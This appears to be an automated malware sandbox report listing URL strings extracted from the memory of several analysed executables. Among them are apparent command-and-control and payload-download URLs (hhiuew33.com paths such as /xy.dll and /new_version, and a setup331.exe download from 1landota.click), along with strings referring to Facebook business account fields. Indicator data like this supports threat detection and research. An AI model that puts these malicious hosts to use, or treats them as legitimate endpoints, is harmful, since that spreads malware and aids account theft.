Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.716477560.000000000063F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.391475629.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.519714005.000000000064A000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.488497872.00000000005F6000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.504120231.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.763607105.000000000064D000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.718585342.0000000000637000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.399988256.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.706281151.000000000063F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.759118141.00000000027F8000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.540284207.0000000000651000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.432970772.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.550964355.000000000064B000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.781942540.000000000064D000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.386400250.00000000005F7000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.629172277.0000000000645000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.621358238.0000000000644000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.733909373.0000000000647000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.733230309.000000000067E000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.638228739.000000000066F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.509371272.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safe
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.733909373.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safe0._ff
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.764168700.0000000000669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safe2J
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693589241.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693756834.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safeAW~
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.581800860.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.571519928.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.584328535.0000000000669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safeB13N2A7ORi
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.380370225.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safeMATCH4OszVKzeKEU
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.771106389.0000000000680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safeNUXTJ1S5
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.684569911.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.686926185.0000000000669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safeSV
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.728673907.0000000000669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safeYJX
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.781151425.000000000063A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safee
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.519714005.000000000064A000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.380370225.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.676948677.0000000000647000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.522621138.000000000064A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safek
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.550964355.000000000064B000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.781942540.000000000064D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safep
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.779040373.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/d
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.386400250.00000000005F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/j0U
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.780203165.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/new_version
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.443928650.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.439043054.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/p6YVdRaU9qSTJ
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.470145014.0000000000612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/xy.dll
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.423365076.00000000005DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/?sid=2600721&key=8b32a3670752c2f50e21ffe8ff66e6cbZ0lpSXNJQ0oxYVdRaU
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.436820397.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.442696666.00000000005DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/?sid=2601145&key=b91e6c918507ce8fc7e06b500f3ea863Z0lpSXNJQ0oxYVdRaU
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.503131964.00000000005DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/?sid=2602105&key=31b7b0deff382c74fb69544fd112846aP
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.513166647.00000000005DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/?sid=2602337&key=94a87b1d2676e40b93d9ad652d0283f4Pq
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.778503158.00000000005DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/safe2606519&key=3a2b272a5f9274b5d5889271f55c9281Z0lpSXNJQ0oxYVdRaU9
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.793285434.00000000027A6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.coww.hhiuew33.com/
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.468352753.00000000005C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.coww.hhiuew33.com/check/?sid=2601623&key=c2edd699fe4074572bde18218e447e5f
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.551983129.0000000009C72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.itcfonts.
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.510898095.0000000009C95000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.520775558.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517422315.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517908658.0000000009C95000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517422315.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/(z
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.512418500.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.513011784.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/8
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.513011784.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.514532681.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/90
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517908658.0000000009C95000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517422315.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/E
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.512418500.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.513011784.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/J
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.512418500.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.513011784.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.514532681.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/S
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.514532681.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0/
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.514532681.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517908658.0000000009C95000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517422315.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0t
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.512418500.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.513011784.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/a-ew
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.513011784.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.518669649.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.514532681.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517908658.0000000009C95000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517422315.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517908658.0000000009C95000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517422315.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/90
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.514532681.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/J
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.518669649.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517908658.0000000009C95000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517422315.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/S
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.513011784.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.518669649.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.514532681.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517908658.0000000009C95000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517422315.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/n
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.518989849.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.519431018.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.515267632.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517000208.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.516379888.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.518669649.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.519724748.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.519976408.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517908658.0000000009C95000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.521899627.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.520775558.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.517422315.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/w
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.510500476.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.512418500.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.510898095.0000000009C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/n
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.514532681.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/w
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.545606249.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.monotype.
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.483533038.0000000009C7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.483533038.0000000009C7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comu-e
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.518989849.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.519431018.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.519724748.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.519976408.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.co
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.518669649.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.504583314.0000000009C98000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505736185.0000000009C98000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.507208749.0000000009C99000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.504368785.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505391975.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.504583314.0000000009C98000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505736185.0000000009C98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cnl-n
Source: GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.504368785.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505391975.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cnue
Source: fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1landota.click/
Source: fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1landota.click/331_331/setup331.exe
Source: fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1landota.click/331_331/setup331.exeC:
Source: fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1landota.click:80/331_331/setup331.exe
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://analytics.tiktok.com
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://business.fac
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://business.facfb_account_idfb_business_idunpaid_unrepaid_invoice%22%2C%22has_repay_processing_
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ampproject.org
